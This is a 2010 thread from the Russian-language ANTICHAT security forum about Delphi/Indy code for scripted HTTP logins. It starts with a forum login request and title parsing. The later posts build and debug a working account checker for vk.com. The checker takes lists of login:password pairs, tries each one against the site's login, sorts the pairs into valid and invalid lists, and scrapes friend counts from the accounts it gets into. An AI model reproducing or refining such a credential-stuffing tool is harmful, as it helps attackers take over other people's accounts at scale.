ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

30.04.2010, 09:13
|
|
Познающий
Регистрация: 14.05.2009
Сообщений: 92
Провел на форуме: 299447
Репутация:
5
|
|
Ещё ничего не ваял.. Но вот строка запроса...
http://forum.ru/login.php?vb_login_username=user&vb_login_password _md5=o_O&s&vb_login_password_utf8
о_О = Password Hash...
|
|
|

30.04.2010, 10:00
|
|
Участник форума
Регистрация: 01.03.2009
Сообщений: 121
Провел на форуме: 4022236
Репутация:
38
|
|
iGlass,
PHP код:
procedure TForm1.Button1Click(Sender: TObject);
var
Data : TStringList;
PostSend, GetSend : string;
begin
IdHTTP1.Request.UserAgent := 'Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.22 Version/10.51';
IdHTTP1.Request.Referer := 'http://forum.antichat.ru/index.php?';
IdHTTP1.Request.Accept := 'text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1';
IdHTTP1.Request.AcceptLanguage := 'ru-RU,ru;q=0.9,en;q=0.8';
IdHTTP1.Request.AcceptCharSet := 'iso-8859-1, utf-8, utf-16, *;q=0.1';
IdHTTP1.Request.AcceptEncoding := 'deflate, gzip, x-gzip, identity, *;q=0';
IdHTTP1.Request.Connection := 'Keep-Alive, TE';
IdHTTP1.Request.ContentType := '';
GetSend := IdHTTP1.Get('http://forum.antichat.ru/index.php?');
Data := TStringList.Create;
Data.Add('vb_login_username='+Edit1.Text);
Data.Add('vb_login_password='+Edit2.Text);
Data.Add('cookieuser=1');
Data.Add('s=');
Data.Add('do=login');
Data.Add('forceredirect=1');
Data.Add('vb_login_md5password=');
PostSend := IdHTTP1.Post('http://forum.antichat.ru/login.php', Data);
end;
если смотреть в сниффере когда логинишся на форуме через браузер, то после
vb_login_md5password=HTTP/1.1 200 OK
Server: nginx
Date: Fri, 30 Apr 2010 05:55:47 GMT
Content-Type: text/html; charset=Windows-1251
Connection: keep-alive
...
...
а в этом примере идет после
vb_login_md5password=&HTTP/1.1 200 OK
Server: nginx
Date: Fri, 30 Apr 2010 05:55:47 GMT
Content-Type: text/html; charset=Windows-1251
Connection: keep-alive
...
...
хз почему...
|
|
|

30.04.2010, 11:24
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме: 7879791
Репутация:
265
|
|
JnK можно текст между <title> </title> например, вывести в memo ?
|
|
|

30.04.2010, 12:09
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 277
Провел на форуме: 828081
Репутация:
84
|
|
Навскидку:
s := IdHttp1.Get('http://www.google.ru');
Memo1.Lines.Text := Copy(s, pos('<title>', s) + 7, pos('</title>', s) - pos('<title>', s) -7);
Последний раз редактировалось GhostOnline; 30.04.2010 в 12:13..
|
|
|

30.04.2010, 13:16
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме: 7879791
Репутация:
265
|
|
Сообщение от GhostOnline
Навскидку:
s := IdHttp1.Get('http://www.google.ru');
Memo1.Lines.Text := Copy(s, pos('<title>', s) + 7, pos('</title>', s) - pos('<title>', s) -7);
Работает
Только как сделать что бы уже записаный в мемо текст не удалялся при записи?
|
|
|

30.04.2010, 13:29
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 277
Провел на форуме: 828081
Репутация:
84
|
|
Сообщение от stepashka_
Работает
Только как сделать что бы уже записаный в мемо текст не удалялся при записи?
для этого достаточно изменить несколько букв:
s := IdHttp1.Get('http://www.google.ru');
Memo1.Lines.Append(Copy(s, pos('<title>', s) + 7, pos('</title>', s) - pos('<title>', s) -7));
|
|
|

30.04.2010, 18:45
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме: 7879791
Репутация:
265
|
|
Что то не парсит...
код
procedure TForm1.Button3Click(Sender: TObject);
var
uns, s,log,pass: String;
i: integer;
begin
memo4.lines.add('Старт');
idhttp1.HandleRedirects := True;
for i := 0 to memo1.lines.count-1 do
begin
if Flag then Break;
idhttp1.HandleRedirects := True;
log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk= ');
s:=Copy(uns,Pos('value=',uns)+7,56);
memo4.lines.add(log + ' Авторизируемся' );
try
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s) ;
uns := idhttp1.Get('http://vk.com/');
memo1.Lines.Delete(0) ;
Memo4.Lines.Append(Copy(s, pos('<span>', s) + 7, pos('</span>', s) - pos('<span>', s) -7));
memo4.lines.add(log + ' Валидный' );
memo2.lines.add(log + ':' + pass);
except
On E: Exception do begin
memo4.lines.add(log + ' Невалид' );
memo3.lines.add(log + ':' + pass);
memo2.Lines.Delete(memo2.Lines.Count);
memo1.Lines.Delete(0);
end;
end;
end;
IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
end;
Длжен парсить кол-во друзей))
|
|
|

30.04.2010, 18:50
|
|
Новичок
Регистрация: 07.04.2007
Сообщений: 27
Провел на форуме: 338084
Репутация:
-8
|
|
stepashka_ откуда он должен парсить, не вижу запроса на получения списка друзей
тупанул, если ты со страницы профиля пытаешься получить количество друзей то тег <span> есть до количества друзей, неправильно парсишь
да и кстати почему ты используешь переменную s если страницу получаешь в переменную uns
Последний раз редактировалось buket; 30.04.2010 в 18:55..
|
|
|

30.04.2010, 18:55
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме: 7879791
Репутация:
265
|
|
Сообщение от buket
stepashka_ откуда он должен парсить, не вижу запроса на получения списка друзей
тупанул, если ты со страницы профиля пытаешься получить количество друзей то тег <span> есть до количества друзей, неправильно парсишь
Memo4.Lines.Append(Copy(s, pos('<span>', s) + 7, pos('</span>', s) - pos('<span>', s) -7));
у меня в коде это есть
|
|
|

30.04.2010, 19:11
|
|
Новичок
Регистрация: 07.04.2007
Сообщений: 27
Провел на форуме: 338084
Репутация:
-8
|
|
я бы сделал так
Код:
function TForm1.Pars(T_, ForS, _T: string): string;
var
a, b: integer;
begin
Result := '';
if (T_ = '') or (ForS = '') or (_T = '') then
Exit;
a := Pos(T_, ForS);
if a = 0 then
Exit
else
a := a + Length(T_);
ForS := Copy(ForS, a, Length(ForS) - a + 1);
b := Pos(_T, ForS);
if b > 0 then
Result := Copy(ForS, 1, b - 1);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
uns, s,log,pass: String;
i: integer;
begin
memo4.lines.add('Старт');
idhttp1.HandleRedirects := True;
for i := 0 to memo1.lines.count-1 do
begin
idhttp1.HandleRedirects := True;
log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
memo4.lines.add(log + ' Авторизируемся' );
try
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
memo1.Lines.Delete(0) ;
Memo4.Lines.Append(pars('Друзья <span>(', uns,')</span>'));
memo4.lines.add(log + ' Валидный' );
memo2.lines.add(log + ':' + pass);
except
On E: Exception do begin
memo4.lines.add(log + ' Невалид' );
memo3.lines.add(log + ':' + pass);
memo2.Lines.Delete(memo2.Lines.Count);
memo1.Lines.Delete(0);
end;
end;
end;
IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
end;
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|